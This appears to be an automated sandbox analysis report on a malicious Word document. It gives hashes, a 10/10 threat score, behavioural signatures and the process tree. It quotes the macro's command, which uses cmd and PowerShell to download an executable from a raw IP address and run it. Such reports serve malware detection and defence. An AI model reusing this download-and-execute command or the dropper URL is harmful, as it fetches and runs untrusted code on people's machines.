Analysis

  • max time kernel
    246s
  • max time network
    337s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    25-11-2022 11:28

General

  • Target

    e00b1af2bd049558b15f6c217524189501acfbedee80d1e02921eca7706fab4c.doc

  • Size

    70KB

  • MD5

    7a9018df7e4cde2acb0737a070dbe519

  • SHA1

    c789cc7e2ac8cf7ad980f7bccdfdd2387882c541

  • SHA256

    e00b1af2bd049558b15f6c217524189501acfbedee80d1e02921eca7706fab4c

  • SHA512

    d3572392f3d933ba4cd5861d65cb4ef31d9b54f2f209d96e77e6c1780d939e59c266a1f2dbbbb6149f812370a991ba3038b6f830930a0719d25cc63c43ab6dcf

  • SSDEEP

    768:aDzj4Obrw0lWN+0Mdnn2RX0wRtvxkZhlkLk2buRRV1ij3BVeyzBcawx7+elWjZxw:Szji0lWzMB8/xxDbue9BBSyZxV

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://23.95.23.202/v9y.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e00b1af2bd049558b15f6c217524189501acfbedee80d1e02921eca7706fab4c.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:588
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /S /C powershell -command "(new-object System.Net.WebClient).DownloadFile('http://23.95.23.202/v9y.exe', 'C:\Users\Admin\AppData\Local\Temp\v9y.exe')" && C:\Users\Admin\AppData\Local\Temp\v9y.exe
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:552
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "(new-object System.Net.WebClient).DownloadFile('http://23.95.23.202/v9y.exe', 'C:\Users\Admin\AppData\Local\Temp\v9y.exe')"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1092

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Replay Monitor

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Downloads

  • memory/552-75-0x0000000000000000-mapping.dmp
  • memory/588-62-0x0000000000365000-0x0000000000369000-memory.dmp
    Filesize

    16KB

  • memory/588-59-0x0000000000365000-0x0000000000369000-memory.dmp
    Filesize

    16KB

  • memory/588-70-0x0000000000365000-0x0000000000369000-memory.dmp
    Filesize

    16KB

  • memory/588-58-0x00000000714ED000-0x00000000714F8000-memory.dmp
    Filesize

    44KB

  • memory/588-69-0x0000000000365000-0x0000000000369000-memory.dmp
    Filesize

    16KB

  • memory/588-60-0x0000000000365000-0x0000000000369000-memory.dmp
    Filesize

    16KB

  • memory/588-54-0x0000000072A81000-0x0000000072A84000-memory.dmp
    Filesize

    12KB

  • memory/588-61-0x0000000000365000-0x0000000000369000-memory.dmp
    Filesize

    16KB

  • memory/588-63-0x0000000000365000-0x0000000000369000-memory.dmp
    Filesize

    16KB

  • memory/588-64-0x0000000000365000-0x0000000000369000-memory.dmp
    Filesize

    16KB

  • memory/588-66-0x0000000000365000-0x0000000000369000-memory.dmp
    Filesize

    16KB

  • memory/588-71-0x0000000000365000-0x0000000000369000-memory.dmp
    Filesize

    16KB

  • memory/588-67-0x0000000000365000-0x0000000000369000-memory.dmp
    Filesize

    16KB

  • memory/588-68-0x0000000000365000-0x0000000000369000-memory.dmp
    Filesize

    16KB

  • memory/588-57-0x00000000763D1000-0x00000000763D3000-memory.dmp
    Filesize

    8KB

  • memory/588-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/588-65-0x0000000000365000-0x0000000000369000-memory.dmp
    Filesize

    16KB

  • memory/588-72-0x0000000000365000-0x0000000000369000-memory.dmp
    Filesize

    16KB

  • memory/588-74-0x0000000000365000-0x0000000000369000-memory.dmp
    Filesize

    16KB

  • memory/588-73-0x0000000000365000-0x0000000000369000-memory.dmp
    Filesize

    16KB

  • memory/588-55-0x0000000070501000-0x0000000070503000-memory.dmp
    Filesize

    8KB

  • memory/588-76-0x0000000000366000-0x0000000000368000-memory.dmp
    Filesize

    8KB

  • memory/588-84-0x00000000714ED000-0x00000000714F8000-memory.dmp
    Filesize

    44KB

  • memory/588-83-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/588-80-0x00000000714ED000-0x00000000714F8000-memory.dmp
    Filesize

    44KB

  • memory/1092-81-0x000000006AE40000-0x000000006B3EB000-memory.dmp
    Filesize

    5.7MB

  • memory/1092-82-0x000000006AE40000-0x000000006B3EB000-memory.dmp
    Filesize

    5.7MB

  • memory/1092-79-0x000000006AE40000-0x000000006B3EB000-memory.dmp
    Filesize

    5.7MB

  • memory/1092-77-0x0000000000000000-mapping.dmp